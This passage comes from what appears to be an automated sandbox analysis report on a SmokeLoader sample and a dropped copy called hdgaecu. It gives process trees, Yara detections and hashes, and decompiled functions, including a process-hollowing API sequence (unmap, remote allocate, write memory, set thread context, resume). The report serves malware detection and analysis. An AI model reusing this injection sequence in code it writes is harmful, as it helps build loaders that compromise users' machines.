Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.442558438.0000000001E51000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.442516398.0000000001E30000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3808, Parent PID: 6648

General

Target ID:	4
Start time:	09:44:52
Start date:	26/06/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff631f70000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000000.415791287.0000000002681000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: hdgaecuPID: 7136, Parent PID: 1108

General

Target ID:	12
Start time:	09:45:40
Start date:	26/06/2022
Path:	C:\Users\user\AppData\Roaming\hdgaecu
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hdgaecu
Imagebase:	0x400000
File size:	293376 bytes
MD5 hash:	25B54F50600604A53E80163B9049421E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: hdgaecuPID: 5244, Parent PID: 7136

General

Target ID:	13
Start time:	09:45:43
Start date:	26/06/2022
Path:	C:\Users\user\AppData\Roaming\hdgaecu
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hdgaecu
Imagebase:	0x400000
File size:	293376 bytes
MD5 hash:	25B54F50600604A53E80163B9049421E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000002.501978878.0000000002051000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000002.501732921.00000000004B0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: p3jNeWT0GE.exePID: 6516, Parent PID: 5656COMMON

Execution Graph

Execution Coverage:	17.1%
Dynamic/Decrypted Code Coverage:	8.6%
Signature Coverage:	22.5%
Total number of Nodes:	302
Total number of Limit Nodes:	13

Executed Functions

Function 00C20110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

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Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00C20156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 00C2016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00C20255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00C20270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00C20283
GetThreadContext.KERNELBASE(00000000,?), ref: 00C2029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 00C202C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 00C202E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00C20304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 00C2032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00C20399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 00C203BF
SetThreadContext.KERNELBASE(00000000,?), ref: 00C203E1
ResumeThread.KERNELBASE(00000000), ref: 00C203ED
ExitProcess.KERNEL32(00000000), ref: 00C20412

Memory Dump Source

Source File: 00000000.00000002.361789430.0000000000C20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_p3jNeWT0GE.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 06bfb7425c0a9c0434de567a4cb7c0ba4bb84a37d75942beeb9f494139e8c643
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: D0B1C774A00208AFDB44CF98C895F9EBBB5FF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00C20420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

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Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00C20533

Strings

0, xrefs: 00C20492
saodkfnosa9uin, xrefs: 00C204DA
d, xrefs: 00C20584
mfoaskdfnoa, xrefs: 00C20520, 00C20523

Memory Dump Source

Source File: 00000000.00000002.361789430.0000000000C20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_p3jNeWT0GE.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 1a58cf7b8d1f5c789da168c4b3f0847dba151b8a8b493a07c3609e6fd9ea740c
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: F2512B70D08388DEEB11CBD8D849BDDBFB2AF11708F244059E5447F286C3BA5658CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00C205B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

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Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 00C205EC

Strings

o, xrefs: 00C20600
apfHQ, xrefs: 00C205E2, 00C205E5

Memory Dump Source

Source File: 00000000.00000002.361789430.0000000000C20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_p3jNeWT0GE.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 5169765d158abf9b6663308e9e9aa7144def4d63c61e566b44f13208124d59b1
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 0A011E70C0425CEEDF10DB98D5583AEBFB5AF41308F248099D8192B342D7B69B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00416BF0 Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

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Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00416BF0() {
				void* _t1;

				_t1 = E00416B20(0); // executed
				return _t1;
			}

0x00416bf7
0x00416c00

APIs

__encode_pointer.LIBCMTD ref: 00416BF7

Part of subcall function 00416B20: TlsGetValue.KERNEL32(00000001), ref: 00416B35
Part of subcall function 00416B20: TlsGetValue.KERNEL32(00000001,00000001), ref: 00416B56
Part of subcall function 00416B20: __crt_wait_module_handle.LIBCMTD ref: 00416B6C
Part of subcall function 00416B20: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00416B86
Part of subcall function 00416B20: RtlEncodePointer.NTDLL(?), ref: 00416BA7

Memory Dump Source

Source File: 00000000.00000002.361505469.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.361501884.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.361550403.0000000000433000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.361575239.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.361775443.0000000000B32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.361783200.0000000000B36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p3jNeWT0GE.jbxd

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 65bb6b378d85e8518305c1cfd9c96ea0574de98a9b50e01811e92182e451f754
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: BEA0127244820833D00020833803B023A4E43C0739F090025F50C051426842F450C097

Uniqueness

Uniqueness Score: -1.00%

Function 0040EEC0 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;

				E0041C570(); // executed
				return L0040EEE0(_t3, _t4);
			}

0x0040eec5
0x0040eed0

APIs

___security_init_cookie.LIBCMTD ref: 0040EEC5

Memory Dump Source

Source File: 00000000.00000002.361505469.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.361501884.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.361550403.0000000000433000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.361575239.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.361775443.0000000000B32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.361783200.0000000000B36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p3jNeWT0GE.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: f14c17b3d763d89e0a4906a93386d478d5a538d69fef357ced05a81658306132
Instruction ID: 26670b095125c4fe2053c471a7d89219e35f1bbd53d15d2dffcbc620bce8bd19
Opcode Fuzzy Hash: f14c17b3d763d89e0a4906a93386d478d5a538d69fef357ced05a81658306132
Instruction Fuzzy Hash: 3DA002654C475C264150B3A7484794A758F88C17587D5082A7558122432CACB89140EE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00411CF0 Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00411CF0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x44387c; // 0x78063f55
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0xb328c8 = _t6;
				 *0xb328c4 = _t20;
				 *0xb328c0 = _t22;
				 *0xb328bc = _t19;
				 *0xb328b8 = _t25;
				 *0xb328b4 = _t24;
				 *0xb328e0 = ss;
				 *0xb328d4 = cs;
				 *0xb328b0 = ds;
				 *0xb328ac = es;
				 *0xb328a8 = fs;
				 *0xb328a4 = gs;
				asm("pushfd");
				_pop( *0xb328d8);
				 *0xb328cc =  *_t29;
				 *0xb328d0 = _v0;
				 *0xb328dc =  &_a4;
				 *0xb32818 = 0x10001;
				_t11 =  *0xb328d0; // 0x0
				 *0xb327cc = _t11;
				 *0xb327c0 = 0xc0000409;
				 *0xb327c4 = 1;
				_t21 =  *0x44387c; // 0x78063f55
				_v812 = _t21;
				_t23 =  *0x443880; // 0x87f9c0aa
				_v808 = _t23;
				 *0xb32810 = IsDebuggerPresent();
				_push(1);
				E00417550(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x40863c);
				if( *0xb32810 == 0) {
					_push(1);
					E00417550(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

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APIs

IsDebuggerPresent.KERNEL32 ref: 0042153D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00421554
UnhandledExceptionFilter.KERNEL32(0040863C), ref: 0042155F
GetCurrentProcess.KERNEL32(C0000409), ref: 0042157D
TerminateProcess.KERNEL32(00000000), ref: 00421584

Memory Dump Source

Source File: 00000000.00000002.361505469.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.361501884.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.361550403.0000000000433000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.361575239.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.361775443.0000000000B32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.361783200.0000000000B36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p3jNeWT0GE.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 3e5b1e7b3b0f287d6d4687034788962d74a39f4ca44c0a899086d8940bc32795
Instruction ID: a500e2dbcc2fe5f9397c81edabffc5080b59068054ba58565fd70249a857dba8
Opcode Fuzzy Hash: 3e5b1e7b3b0f287d6d4687034788962d74a39f4ca44c0a899086d8940bc32795
Instruction Fuzzy Hash: D621CEB8805214DFD704EF29FD456587BF0FF18715F20456AE809A33B0EB749A858FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00C20042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.361789430.0000000000C20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_p3jNeWT0GE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 8101f4bf6758fc53cc8fb827deb6ac1f5677b0744d2ab276eb69ee416ae86bcb
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: E91170723401109FE754DE65ECD1FA673EAFB88320B298156E908CB712D675EC01C760

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: p3jNeWT0GE.exePID: 6648, Parent PID: 6516COMMON

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0040180C Relevance: 3.0, APIs: 2, Instructions: 50
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 23%

			E0040180C(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t11;
				void* _t16;
				intOrPtr* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t22 = __eflags;
				L00401140(0x183e, _t16, _t20, _t21, __eflags, __fp0);
				_t17 = _a4;
				Sleep(0x1388);
				_t11 = E00401381(_t19, _t22, _t17, _a8, _a12,  &_v8); // executed
				if(_t11 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t11);
					_push(_t17); // executed
					L00401455(0x60, _t19, _t20); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t17 = _t17 + 0x60;
				_push(0x60);
				asm("pushad");
				__ecx =  *__esp;
				__esp = __esp + 4;
				return __eax;
			}

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APIs

Sleep.KERNELBASE(00001388), ref: 00401846
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040186E

Memory Dump Source

Source File: 00000001.00000002.442301306.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_p3jNeWT0GE.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 48605b2c447a37bcbfe7e2e744f1bc94e20697bf77b90fed00f3eac78df6e713
Instruction ID: 439418bc6b8cc85bb90c3f715c5c8777bd26b3ffbf7cafd5698f886abb68661d
Opcode Fuzzy Hash: 48605b2c447a37bcbfe7e2e744f1bc94e20697bf77b90fed00f3eac78df6e713
Instruction Fuzzy Hash: DA014F73608208E7DB057A968C41ABA36299B04754F24C137BA13791F1D63DCB12A76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401818 Relevance: 3.0, APIs: 2, Instructions: 45
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401846
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040186E

Memory Dump Source

Source File: 00000001.00000002.442301306.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_p3jNeWT0GE.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 735c82c96fcbea7bf12158d9a4ead4c90c858f64146e6fe56e595d73795e62df
Instruction ID: 3ccd72cbf6c862e7ac88a574d3d4d63140f03618044998c1cc11cf15f2003e8a
Opcode Fuzzy Hash: 735c82c96fcbea7bf12158d9a4ead4c90c858f64146e6fe56e595d73795e62df
Instruction Fuzzy Hash: F5F03133604204E7DB047E96CC41ABA36199B04754F24C537BA13791F1D63DCB12A76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401822 Relevance: 3.0, APIs: 2, Instructions: 44
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			E00401822(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t11;
				intOrPtr* _t17;
				void* _t19;
				void* _t22;

				_t23 = __eflags;
				asm("out 0x95, eax");
				L00401140(0x183e, __ebx, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_t11 = E00401381(_t19, _t23, _t17,  *((intOrPtr*)(_t22 + 0xc)),  *((intOrPtr*)(_t22 + 0x10)), _t22 - 4); // executed
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t22 + 0x14)));
					_push( *((intOrPtr*)(_t22 - 4)));
					_push(_t11);
					_push(_t17); // executed
					L00401455(0x60, _t19, __edi); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t17 = _t17 + 0x60;
				_push(0x60);
				asm("pushad");
				__ecx =  *__esp;
				__esp = __esp + 4;
				__eax = L00401140(__eax, __ebx, __edi, __esi, __eflags, __fp0);
				_pop(__edi);
				_pop(__esi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

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APIs

Sleep.KERNELBASE(00001388), ref: 00401846
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040186E

Memory Dump Source

Source File: 00000001.00000002.442301306.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_p3jNeWT0GE.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: a194699a847889707888bec4c97d3b5ba1a2af2b109fbbf12831e69875d24230
Instruction ID: 86529ff08739d4d45ab2b2fe3aa627bb4dd9aa569924de5dc1b0fc6937d585b1
Opcode Fuzzy Hash: a194699a847889707888bec4c97d3b5ba1a2af2b109fbbf12831e69875d24230
Instruction Fuzzy Hash: FEF03133604204EBDB047E96C841ABA36299B44754F24C537BA13B91F1D63DCB12A76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401826 Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			E00401826(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t19;
				void* _t22;

				_t23 = __eflags;
				asm("sbb ebx, ebp");
				L00401140(_t8, __ebx, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_t11 = E00401381(_t19, _t23, _t17,  *((intOrPtr*)(_t22 + 0xc)),  *((intOrPtr*)(_t22 + 0x10)), _t22 - 4); // executed
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t22 + 0x14)));
					_push( *((intOrPtr*)(_t22 - 4)));
					_push(_t11);
					_push(_t17); // executed
					L00401455(0x60, _t19, __edi); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t17 = _t17 + 0x60;
				_push(0x60);
				asm("pushad");
				__ecx =  *__esp;
				__esp = __esp + 4;
				__eax = L00401140(__eax, __ebx, __edi, __esi, __eflags, __fp0);
				_pop(__edi);
				_pop(__esi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

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APIs

Sleep.KERNELBASE(00001388), ref: 00401846
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040186E

Memory Dump Source

Source File: 00000001.00000002.442301306.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_p3jNeWT0GE.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 19d43838bd81236491392686aac446d18c030aded37c005789754258c9c8d03d
Instruction ID: 61297dcd7f948f961e89af5f5716b1062d194a974c17104e1ab0fce138cf61ec
Opcode Fuzzy Hash: 19d43838bd81236491392686aac446d18c030aded37c005789754258c9c8d03d
Instruction Fuzzy Hash: C4F04F33604208A7DB04BE96CC41AAA3719AB04754F248537BB13791E1DA3DCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401834 Relevance: 3.0, APIs: 2, Instructions: 39
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E00401834(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t10;
				void* _t13;
				intOrPtr* _t19;
				void* _t22;
				void* _t25;

				_t26 = __eflags;
				L00401140(_t10, __ebx, __edi, __esi, __eflags, __fp0);
				_t19 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_t13 = E00401381(_t22, _t26, _t19,  *((intOrPtr*)(_t25 + 0xc)),  *((intOrPtr*)(_t25 + 0x10)), _t25 - 4); // executed
				if(_t13 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t13);
					_push(_t19); // executed
					L00401455(0x60, _t22, __edi); // executed
				}
				 *_t19(0xffffffff, 0); // executed
				_t19 = _t19 + 0x60;
				_push(0x60);
				asm("pushad");
				__ecx =  *__esp;
				__esp = __esp + 4;
				__eax = L00401140(__eax, __ebx, __edi, __esi, __eflags, __fp0);
				_pop(__edi);
				_pop(__esi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

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APIs

Sleep.KERNELBASE(00001388), ref: 00401846
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040186E

Memory Dump Source

Source File: 00000001.00000002.442301306.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_p3jNeWT0GE.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 0870dc026937b1eb0e2e38101574af244100116dae67d2ee4212e122303e269f
Instruction ID: 4e4f5f6328981cf1385f7e82c295c95f43d6d852bc8dfc3b1875bfb827a549ac
Opcode Fuzzy Hash: 0870dc026937b1eb0e2e38101574af244100116dae67d2ee4212e122303e269f
Instruction Fuzzy Hash: BDF04932604208ABDB04BF92CC81ABA3329AB04754F248537BA12790F1D639C612A72B

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: hdgaecuPID: 7136, Parent PID: 1108COMMON

Execution Graph

Execution Coverage:	64.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	26
Total number of Limit Nodes:	7

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00C20110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00C20156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 00C2016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00C20255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00C20270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00C20283
GetThreadContext.KERNELBASE(00000000,?), ref: 00C2029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 00C202C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 00C202E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00C20304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 00C2032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00C20399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 00C203BF
SetThreadContext.KERNELBASE(00000000,?), ref: 00C203E1
ResumeThread.KERNELBASE(00000000), ref: 00C203ED
ExitProcess.KERNEL32(00000000), ref: 00C20412

Memory Dump Source

Source File: 0000000C.00000002.489209147.0000000000C20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_c20000_hdgaecu.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 06bfb7425c0a9c0434de567a4cb7c0ba4bb84a37d75942beeb9f494139e8c643
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: D0B1C774A00208AFDB44CF98C895F9EBBB5FF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00C20420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00C20533

Strings

d, xrefs: 00C20584
0, xrefs: 00C20492
saodkfnosa9uin, xrefs: 00C204DA
mfoaskdfnoa, xrefs: 00C20520, 00C20523

Memory Dump Source

Source File: 0000000C.00000002.489209147.0000000000C20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_c20000_hdgaecu.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 1a58cf7b8d1f5c789da168c4b3f0847dba151b8a8b493a07c3609e6fd9ea740c
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: F2512B70D08388DEEB11CBD8D849BDDBFB2AF11708F244059E5447F286C3BA5658CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00C205B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 00C205EC

Strings

